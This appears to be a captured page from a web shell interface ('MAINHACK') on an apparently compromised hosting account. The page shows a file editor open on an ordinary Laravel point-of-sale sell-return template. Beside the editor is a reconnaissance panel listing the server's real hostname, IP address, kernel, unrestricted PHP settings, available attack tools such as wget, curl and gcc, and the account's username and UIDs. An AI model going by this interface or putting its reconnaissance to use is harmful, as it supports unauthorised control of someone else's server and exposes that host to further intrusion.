[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: show.blade.php
<div class="modal-dialog modal-xl no-print" role="document"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close no-print" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button> <h4 class="modal-title" id="modalTitle"> @lang('lang_v1.sell_return') (<b>@lang('sale.invoice_no'):</b> {{ $sell->return_parent->invoice_no }}) </h4> </div> <div class="modal-body"> <div class="row"> <div class="col-sm-6 col-xs-6"> <h4>@lang('lang_v1.sell_return_details'):</h4> <strong>@lang('lang_v1.return_date'):</strong> {{@format_date($sell->return_parent->transaction_date)}}<br> <strong>@lang('contact.customer'):</strong> {{ $sell->contact->name }} <br> <strong>@lang('purchase.business_location'):</strong> {{ $sell->location->name }} </div> <div class="col-sm-6 col-xs-6"> <h4>@lang('lang_v1.sell_details'):</h4> <strong>@lang('sale.invoice_no'):</strong> {{ $sell->invoice_no }} <br> <strong>@lang('messages.date'):</strong> {{@format_date($sell->transaction_date)}} </div> </div> <br> <div class="row"> <div class="col-sm-12"> <br> <table class="table bg-gray"> <thead> <tr class="bg-green"> <th>#</th> <th>@lang('product.product_name')</th> <th>@lang('sale.unit_price')</th> <th>@lang('lang_v1.return_quantity')</th> <th>@lang('lang_v1.return_subtotal')</th> </tr> </thead> <tbody> @php $total_before_tax = 0; @endphp @foreach($sell->sell_lines as $sell_line) @if($sell_line->quantity_returned == 0) @continue @endif @php $unit_name = $sell_line->product->unit->short_name; if(!empty($sell_line->sub_unit)) { $unit_name = $sell_line->sub_unit->short_name; } @endphp <tr> <td>{{ $loop->iteration }}</td> <td> {{ $sell_line->product->name }} @if( $sell_line->product->type == 'variable') - {{ $sell_line->variations->product_variation->name}} - {{ $sell_line->variations->name}} @endif </td> <td><span class="display_currency" data-currency_symbol="true">{{ $sell_line->unit_price_inc_tax }}</span></td> <td>{{@format_quantity($sell_line->quantity_returned)}} {{$unit_name}}</td> <td> @php $line_total = $sell_line->unit_price_inc_tax * $sell_line->quantity_returned; $total_before_tax += $line_total ; @endphp <span class="display_currency" data-currency_symbol="true">{{$line_total}}</span> </td> </tr> @endforeach </tbody> </table> </div> </div> <div class="row"> <div class="col-sm-6 col-sm-offset-6 col-xs-6 col-xs-offset-6"> <table class="table"> <tr> <th>@lang('purchase.net_total_amount'): </th> <td></td> <td><span class="display_currency pull-right" data-currency_symbol="true">{{ $total_before_tax }}</span></td> </tr> <tr> <th>@lang('lang_v1.return_discount'): </th> <td><b>(-)</b></td> <td class="text-right">@if($sell->return_parent->discount_type == 'percentage') @<strong><small>{{$sell->return_parent->discount_amount}}%</small></strong> - @endif <span class="display_currency pull-right" data-currency_symbol="true">{{ $total_discount }}</span></td> </tr> <tr> <th>@lang('lang_v1.total_return_tax'):</th> <td><b>(+)</b></td> <td class="text-right"> @if(!empty($sell_taxes)) @foreach($sell_taxes as $k => $v) <strong><small>{{$k}}</small></strong> - <span class="display_currency pull-right" data-currency_symbol="true">{{ $v }}</span><br> @endforeach @else 0.00 @endif </td> </tr> <tr> <th>@lang('lang_v1.return_total'):</th> <td></td> <td><span class="display_currency pull-right" data-currency_symbol="true" >{{ $sell->return_parent->final_total }}</span></td> </tr> </table> </div> </div> <div class="row"> <div class="col-md-12"> <strong>{{ __('repair::lang.activities') }}:</strong><br> @includeIf('activity_log.activities', ['activity_type' => 'sell']) </div> </div> </div> <div class="modal-footer"> <a href="#" class="print-invoice tw-dw-btn tw-dw-btn-primary tw-text-white" data-href="{{action([\App\Http\Controllers\SellReturnController::class, 'printInvoice'], [$sell->return_parent->id])}}"><i class="fa fa-print" aria-hidden="true"></i> @lang("messages.print")</a> <button type="button" class="tw-dw-btn tw-dw-btn-neutral tw-text-white no-print" data-dismiss="modal">@lang( 'messages.close' )</button> </div> </div> </div> <script type="text/javascript"> $(document).ready(function(){ var element = $('div.modal-xl'); __currency_convert_recursively(element); }); </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285